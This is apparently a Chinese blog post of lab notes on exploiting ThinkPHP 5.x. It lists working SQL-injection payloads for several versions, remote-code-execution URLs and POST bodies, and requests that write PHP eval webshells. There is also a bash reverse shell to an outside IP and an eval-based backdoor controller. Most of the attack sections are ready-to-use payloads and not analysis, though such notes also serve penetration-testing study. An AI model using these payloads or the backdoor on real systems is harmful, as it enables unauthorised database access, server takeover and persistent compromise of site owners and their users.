11.tp5常见漏洞

1.tp5下载安装

版本 : thinkphp5.0.24完整版本

绑定域名www.tp5.com , 在模块的config.php中打开debug和追踪调试

tp3和tp5的区别

https://www.cnblogs.com/wupeiky/p/5850108.html

image-20211123213255540

image-20211123213326970

还有个很大的区别就是路由访问 , 在tp5中不在支持mac访问

http://www.tp5.com/index.php?m=Home&c=index&a=haha
# 实际上访问的是index.php   后面的参数不生效 , index.php也可以省略 , 但是需要在.htaccess中设置

实验版本 : thinkphp5.x 完整版本

2.tp5.0.9注入漏洞

2.1代码示例

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
       $id = input("id/a");  // 强行接收id参数 , 参数必须为数组
       $data = db("users")->where("id","in",$id)->select();  //
       dump($data);
    }
}

2.2payload

http://www.tp5.com/index.php/index/index?id[0,updatexml(0,concat(0x5e,user()),0)]=1

image-20211125220414473

如果还开启了debug的话会爆出数据库配置信息

image-20211125220449982

2.3漏洞分析

这个漏洞比较鸡肋 , 是在PDO处理的第一步触发 , 不能进行子查询 , 所以无法获取数据库表名和字段 以及数据
只能看一些版本 , 用户信息
- 必须是5.0.5<5.0.9
- 接收的参数必须是数组 , 可控

2.4漏洞利用

python3 sqlmap.py -u "http://www.tp5.com/index.php/index/index?id[0,*]"
sqlmap是跑不出来的 , 只能手动

3.tp5.0.15update注入

3.1代码示例

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
       $level = input("level/a");  // 强行接收id参数 , 参数必须为数组
       $data = db("users")->where("id",1)->update(["level"=>$level]);  //
       dump($data);
    }
}

3.2payload

http://www.tp5.com/index.php/index/index?level[0]=inc&level[1]=updatexml(1,concat(0x5e,user(),0x5e),1)&level[2]=2

image-20211125222832409

3.3漏洞分析

同样也是PDO处理中的报错 , 鸡肋 , 所以不能进行子查询 , 无法获取账号和密码
同样参数必须是数组 , 可控

3.4漏洞利用

python3 sqlmap.py -u "http://www.tp5.com/index.php/index/index?level[0]=inc&level[1]=*&level[2]=2"
跑不出来

4.tp5.1聚合查询漏洞

网上虽然是爆的tp5.1的漏洞 ,但是tp5.0.15也有这个漏洞 , 这里继续用tp5.0.15演示

4.1示例代码

<?php
namespace app\index\controller;

class Index
{
    public function index()
    {
       $count = input("get.count");  // 强行接收id参数 , 参数必须为数组
       $data = db("users")->count($count);  //
       dump($data);
    }
}

4.2payload

http://www.tp5.com/index.php/index/index?count=id),(select sleep(5)),(username

image-20211125223753494

延时注入5s

4.3漏洞分析

既然是聚合查询产生的漏洞 , 可能存在的地方肯定和统计有关
参数必须数数组 , 可控
需要手工构造payload

4.4漏洞利用

python3 sqlmap.py -u "http://www.tp5.com/index.php/index/index?count=id),(*),(username" --dbms=mysql --technique=T

sqlmap 跑不出来 , 需要手工注入

image-20211125224344143

5.tp5.0.0-5.0.23RCE

路由地方出现的问题 , 和代码的写法没关系 , 这里依旧用tp5.0.15显示 , 不包括5.0.23

5.1payload

http://www.tp5.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
														     要执行的函数         函数的参数

image-20211125225237645

5.2漏洞分析

自行百度

5.3漏洞利用

直接写shell 或者 反弹shell

写webshell(保存在public目录下)
http://www.tp5.com/index.php?s=/index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=%3C?php%20@eval($_POST[x];)?%3E

反弹
http://www.tp5.com/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=bash -c 'bash -i >& /dev/tcp/192.168.42.156/4444 0>&1' 

6.tp5.0.23RCE

6.1payload

POST /index.php?s=captcha HTTP/1.1
Host: localhost
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id
                                                    函数                                                                           参数

image-20211125232409586

6.2漏洞分析

自行百度

6.3漏洞利用

写shell
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "%3C?php%20@eval(\$_POST[x]);?%3E" > shell.php

image-20211125233940408

7.thinkphp5.1.29漏洞

可能有的payload执行不了, 最好一个一个手工全试一试

7.1代码执行

http://www.0-sec.org/?s=index/\think\Request/input&filter=phpinfo&data=1

http://www.0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

http://www.0-sec.org/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

7.2命令执行

http://www.0-sec.org/?s=index/\think\Request/input&filter=system&data=操作系统命令

http://www.0-sec.org/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令     // 这个payload还是好使啊

http://www.0-sec.org/?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=操作系统命令

image-20211125235658846

7.3文件写入

http://www.0-sec.org/?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E

http://www.0-sec.org/?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3

8.tp专用shell

基于thinkphp框架的一句话写法 thinkphp框架使用入口文件调用控制器,直接写一句话可能会有解析问题导致无法执行指令,把一句话套入框架控制器的方法

<?php
namespace app\index\controller;
class Test
{
   public function test()
   {
   eval($_POST["cmd"]);
   }
}

一句话的地址就是http://www.tp5.com/index/test , 密码cmd

更多漏洞复现文库见 : https://0-wiki.com/#/

9.总结

关于tp5的命令执行漏洞居多 , 漏洞产生的原因是路由产生的 和开发写法无关
5.0.0-5.0.23
5.1-5.1.29 (中间也有可以代码执行的版本)
关于注入漏洞
5.0 update注入
>5.1 聚合函数注入 , 都是在PDO第一阶段引起的报错 , 不能进行子查询 , 只能爆库相关的
关于反序列化利用条件比较苛刻 , 看文章即可
推荐一自动化检测工具 : https://github.com/Lotus6/ThinkphpGUI/releases/tag/1.3
posted @ 2021-12-20 18:43  Mn猿  阅读(224)  评论(0编辑  收藏  举报